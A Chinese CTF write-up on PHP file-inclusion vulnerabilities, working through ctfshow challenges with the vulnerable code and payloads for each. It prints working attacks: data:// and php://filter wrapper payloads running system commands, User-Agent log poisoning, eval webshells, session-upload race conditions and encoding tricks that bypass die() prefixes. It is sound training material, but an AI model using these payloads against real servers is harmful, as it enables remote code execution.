文件包含
留言 连接数据库 查看留言 连接数据库 登录 连接数据库 注册 连接数据库
代码的重复
留言
查看留言 连接数据库单独的文件
登录
注册
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。 程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
文件上传JEG PNG JPEG GlF先上传PNG图片马,然后再包含。
txt png rar
把文件里面的内容当作PHP代码执行。
文件包含产生原因:
1.web应用实现了动态包含:
2.动态包含的文件路径参数,客户端可控:
? 几平所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP.net程序中比较少。以PHP为例,说明文件包含漏洞。
PHP中的文件包含
*语句 PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下
函数 区别 include( ) 文件包含失败时,会产生警告,脚本会继续运行。 include_once() 与include()功能相同,文件只会被包含一次。require( ) 文件包含失败时,会产生错误,直接结束脚本执行。 require_once( ) 与require( )功能相同,文件只会被包含一次。
inc.php被包含了两次
inc.php被包含了一次
*相关配置 文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(http,ftp,php伪协议)就是可以远程加载文件。我们可以通过php.ini来进行配置。如下 allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件) allow_url_include=On/Off 远程文件包含(RFI)
文件包含示例
我们可以通过以下简单的代码来测试文件包含漏洞。准备一个fileinclude.php文件。
<?php
if(isset($_GET[ 'path ' ] ) ){
include $_GET[ 'path' ];}else{
echo "?path=info.php" ;
}
?>
该文件会从GET 方法获取path变量,也就是文件包含路径,然后包含此文件。创建一个文件info.php,这个包含的文件的内容为phpinfo( )。
<?php
phpinfo();
?>
web 78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
使用 include进行了文件包含
构造playload:
伪协议
?file=php:
将得到的内容解码:
web 79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
把php字符替换成???了
构造payload:
data协议
?file=data://text/plain,<?=system('tac fl*');?>
成功得到flag
web 80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
用日志包含绕过,将执行的命令插入日志中
在User-Agent插入 <?php echo system('ls');?>
?file=/var/log/nginx/access.log
web 81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
%0a在UA里不被解码,在浏览器可以 被替换,还是利用日志文件 UA传
<?= eval($_POST[1]);?>
Web 82-86
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
以POST的形式发包,传的文件随意
<!DOCTYPE html>
<html>
<body>
<form action="http://b19c75ee-d5d9-4a02-8379-d988199962e2.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” ,并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下
因为在上面这个页面添加的ID值是flag,所以传参
?file=/tmp/sess_flag
修改如下:这个a是随便加的,主要是为了方便爆破
进行爆破得到flag
WEB83
Warning: session_destroy(): Trying to destroy uninitialized session
in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
**分析:**多了两个函数
session_unset(): 释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id
session_destroy(): 删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie
这两个函数都将有关session的东西都删除了,我们无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争的含义
知识点:
什么是多线程竞争
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:
数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。
这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。
怎么解决多线程竞争问题?—锁
锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资 源竞争下的原子操作问题。
锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下 降了
锁的致命问题: 死锁
方法:同82
WEB84
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
system 这句话会删除/tem/下面的所有文件,且不能恢复
-f:强制删除文件或目录; -r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;
还是web82的方法
WEB85
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
知识点:
file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回 true ,否则返回 false 。
file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回 false 。
strpos — 查找字符串首次出现的位置,返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回 false 。
方法:
还是web82的方法
原因是:
session.upload_progress.cleanup = on(默认开启)
cleanup=on 表示当文件上传结束后,php将会立即清空对应session文件中的内容
我们在设置session文件后,被删除了,但是一个线程刚好进行if判断,文件存在,且文件内容为空,那么就会准备执行include,同时另一个线程刚好设置了完整的session文件,那么就会被包含进去。
WEB86
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:
define — 定义一个常量
dirname:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点(‘. ’),表示当前目录。否则返回的是把 path 中结尾的/component (最后一个斜线以及后面部分)去掉之后的字符串。
set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false 。
include
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。
方法:
还是web82的方法
因为设置了目录/tmp/sess_flag,所以set_include_path对我们的脚本没有用。
Web 87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
base64编解码
base64转换后的字符串的数量肯定是4的倍数, 不足4的末尾补‘=’
分析:
向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。
编码时,转换成Base64的最小单位就是3个字节
解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了"A-Z、a-z、0-9、+、/" 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6 个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。
其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。
将<?php eval($_POST[1]);?>进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=
解码后:<?php eval($_POST[1]);? 这样传进去就会报错
解决方法:将+进行urlencode
file_put_content和死亡·杂糅代码之缘 死亡绕过file_put_content,杂糅代码分解成php无法识别的代码 分析代码,需要对$file进行两次url加密,hackbar自带URL编码不能进行全编译,用其他工具进行全编译
file=php://filter/write=string.rot13/resource=1.php
//进行两次URL全编译
file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
file=php://filter/write=string.rot13/resource=1.php
php://filter伪协议名称
write=string.rot13过滤器通道 将传入的1.php的字母进行13位平移(凯撒加密,移动13位)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mgJ43PAU-1648740630385)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220331225434911.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xpqnw1vk-1648740630386)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220331225438675.png)]
Web 88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
正则匹配黑名单。
发现过滤很多,但是没有过滤 : 那我们就可以使用PHP伪协议 这里使用的是 data://text/plain;base64,poc 和79差不多 只是要在编码成base64的时候要去掉 =
实际上就是去掉base64后的=,作为填充使用,不影响结果
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
?file=data:text/plain,<?php phpinfo()?>
//base64取出=
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg
web116
下载文件,png文件。
基本都过滤了
但用的是file_get_contents,直接输入file=flag.php,用view-source查看网页源码,也可以抓包获得。
Web 117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
死亡绕过不同变量
这里过滤了 base64那就是 base64-decode。
过滤了string,不能使用字符过滤器了,
但是convert还是可以使用 转换过滤器
可以使用convert.iconv.* file_put_content和死亡·杂糅代码之缘 **原理:**对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。
构造
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
有很多题目都是看了大佬的博客才有思路,还有一些具体的知识没有搞懂
(112条消息) CTFSHOW-文件包含__Monica_的博客-CSDN博客(大神博客)
对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;去除。
构造
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
[外链图片转存中…(img-e8KUX1H5-1648740630387)]
有很多题目都是看了大佬的博客才有思路,还有一些具体的知识没有搞懂
(112条消息) CTFSHOW-文件包含__Monica_的博客-CSDN博客(大神博客)
|